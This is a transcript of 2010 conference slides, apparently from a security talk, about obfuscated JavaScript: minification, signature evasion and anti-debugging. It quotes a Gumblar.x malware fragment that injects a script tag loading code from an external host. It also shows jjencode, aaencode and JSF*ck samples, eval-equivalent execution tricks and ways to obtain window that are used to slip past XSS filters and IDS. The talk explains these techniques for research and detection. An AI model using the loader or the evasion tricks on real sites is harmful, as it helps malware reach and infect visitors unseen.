jsobfus - UTF-8.jp

Download Report

Transcript jsobfus - UTF-8.jp

難読化 JavaScript
NetAgent Co.,Ltd.
Yosuke HASEGAWA
韓国 POC2010




韓国最大のセキュリティカンファレンス
2010年12月14日、15日
参加者200名くらい
海外からも有名スピーカー
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
韓国 POC2010
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
本題
難読化JavaScript
難読化の理由
 圧縮の副作用として
 アンチウイルスやIDSのシグネイチャ
回避
 アンチデバッグ
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
 配信サイズの縮小
 Google Closure Compiler
 Yahoo! YUI Compressor
 Microsoft Ajax Minifier
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
 圧縮されたJavaScriptのデバッグ
 deminify ツールはいろいろ
 Fiddlerでdeminified JSを返す
 Webブラウザのデバッガで解析
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:シグネイチャの回避
 パターンマッチの回避が目的
 容易に亜種を生成
 「解析のしにくさ」は副次的?
 Gumblar、Gumblar.x など
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化 : Gumblar.x
<script>/*GNU GPL*/ try{
window.onload = function(){
var If0y2m9d6n3gx = document.createElement(
's)(c&&r&i@&$p(t))@&@....'
.replace(
/&|\(|@|#|\!|\$|\^|\)/ig, ''));
If0y2m9d6n3gx.setAttribute('type',
't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s
$$$c^r@))i$@p^@)t^!!$'
.replace(/&|#|\)|\!|@|\^|\$|\(/ig, ''));
If0y2m9d6n3gx.setAttribute('src',
'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/('
.replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:Gumblar
 文字列リテラルに記号を挿入
 ‘文$字#%列’.replace( /記号/, '' );
 機械的に生成可能
 変数名が長い
 var If0y2m9d6n3gx, Jydcftfn0k ;
 英数字のみ?
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化 : Gumblar.x
 パターンマッチでない検出アプローチ
 文字の出現頻度
a-zA-Z0-9 と &#)!@^$( の割合
Gumblar : 30% - 55%
jQuery
: 87%
Twitter : 88%
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:シグネイチャの回避
 特定サイトのWAF/IDSの回避が目的
 一撃必殺? 一期一会?
 亜種の生成は不要
 あまり知りません ^^;
 最終的には <script> <iframe>な
どを挿入
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化 : アンチデバッグ
 解析しにくいコード
 ブラウザ依存でも可?
 趣味の世界
 jjencode, aaencode, JSF*ck
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
jjencode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}
+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}
+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._
$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+
($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$
=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$
$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"
\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$
.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_
$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+
$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())();
http://utf-8.jp/public/jjencode.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚
Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚
ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_')
[c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚
o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_')
[(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚
Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚
o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_')
[o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚
Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚)
['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+
(゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚
Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
http://utf-8.jp/public/aaencode.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
JSF*ck
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+
[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(
!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!
![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[]
)[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]
]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(
![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]
+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+
[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+
[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]
+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])
[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]
+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]
+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(
![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]
)[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[
]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+(
[][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[
+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]
+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+
[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(
![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!
+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
http://utf-8.jp/public/jsfuck.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
jjencodeによる攻撃
 http://www.malwaredomainlist.com/forums/index.
php?topic=4354.0
 http://extraexploit.blogspot.com/2010/10/dollarsjavascript-code-yet-another.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
jjencodeによる攻撃
 現実的には攻撃には不向き
 亜種の生成が困難
 IE7以下で動作しない
 「エンコード」なのでデコードが簡
単
 文字種から容易に検出可能
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法いろいろ
 変数の使いまわし、ロジックの裁断
 ヘタクソなプログラムと一緒
 単純にノイズを埋め込む
 JavaScriptの柔軟性を利用
 window["alert"](1)
 eval("alert(1)")
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 数値の生成
 数値を使わないコードの記述が可能に
 数値でないものに演算子を適用
"2" * "3"
// 6
+[] -~NaN
// 0 - -1 == 1
""^""
// 0 xor 0 == 0
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 論理値の生成
 true / false を直接記述しないコー
ドが可能に
 論理値でないものに論理演算子を適用
![]
""==''
[]<{}
INNOVATION TO THE FUTURE
// false
// true
// true
NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
 8進数、16進数で表記
"\101\x42"
 JS or ブラウザのエスケープ関数
unescape("%41%42")
String.fromCharCode(0x41,0x42)
atob("QUI=")
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
 文字列でないものに文字列演算子を適
用で、string にキャスト
{}+""
//"[object Object]"
[]+![]
// "false"
[]["$"]+"" // "undefined"
 配列形式で1文字取り出し
([]+![])[ 0 ] // 'f'
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
 文字の切り出し
"abcd"[ 0 ]
 引用符を使わないリテラル文字列
/ABCD/.source // 正規表現
<>ABCD</> // E4X FF
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
 文字の連結
"A".concat("B")
["A","B"].join().replace(/,/g,"")
<>{"A"}{"B"}</a>
// E4X FF
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
 DOM経由
write("<script>...</script>")
 JS内でeval
eval( "alert(1)" )
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
 eval 相当の機能
setTimeout("alert(1)", 0 )
Function("alert(1)")()
Number.constructor("alert(1)")()
execScript("alert(1)", "jscript") //IE
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
 eval 相当の機能
crypto.generateCRMFRequest(
'CN=0', 0, 0, null,
'alert(1)',
384,null,'rsa-dual-use')
// FF
execScript(
"#@~^CAAAAA==C^+.D`8#mgIAAA=
=^#~@","jscript.encode")
// IE
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : windowの取得
window["alert"](1)
window["eval"]("alert(1)")
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : windowの取得
window, self, this, top, parent
x=''.split,x(null)
Date.constructor('return this')()
(0,[].sort)()
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 将来…
 ブラウザ依存の積極的活用
 主ターゲットを絞る、ブラウザごと
に違うexploit等
 アンチデバッガ
 WebWorkersが利用可能
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
参考資料
 Our Favorite XSS Filters/IDS and how to Attack Them
http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNavaFavoriteXSS-SLIDES.pdf
 JavaScript From Hell
http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf
 sla.ckers.org web application security forum :: XSS Info
http://sla.ckers.org/forum/list.php?2
 sla.ckers.org web application security forum :: Obfuscation
http://sla.ckers.org/forum/list.php?24
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.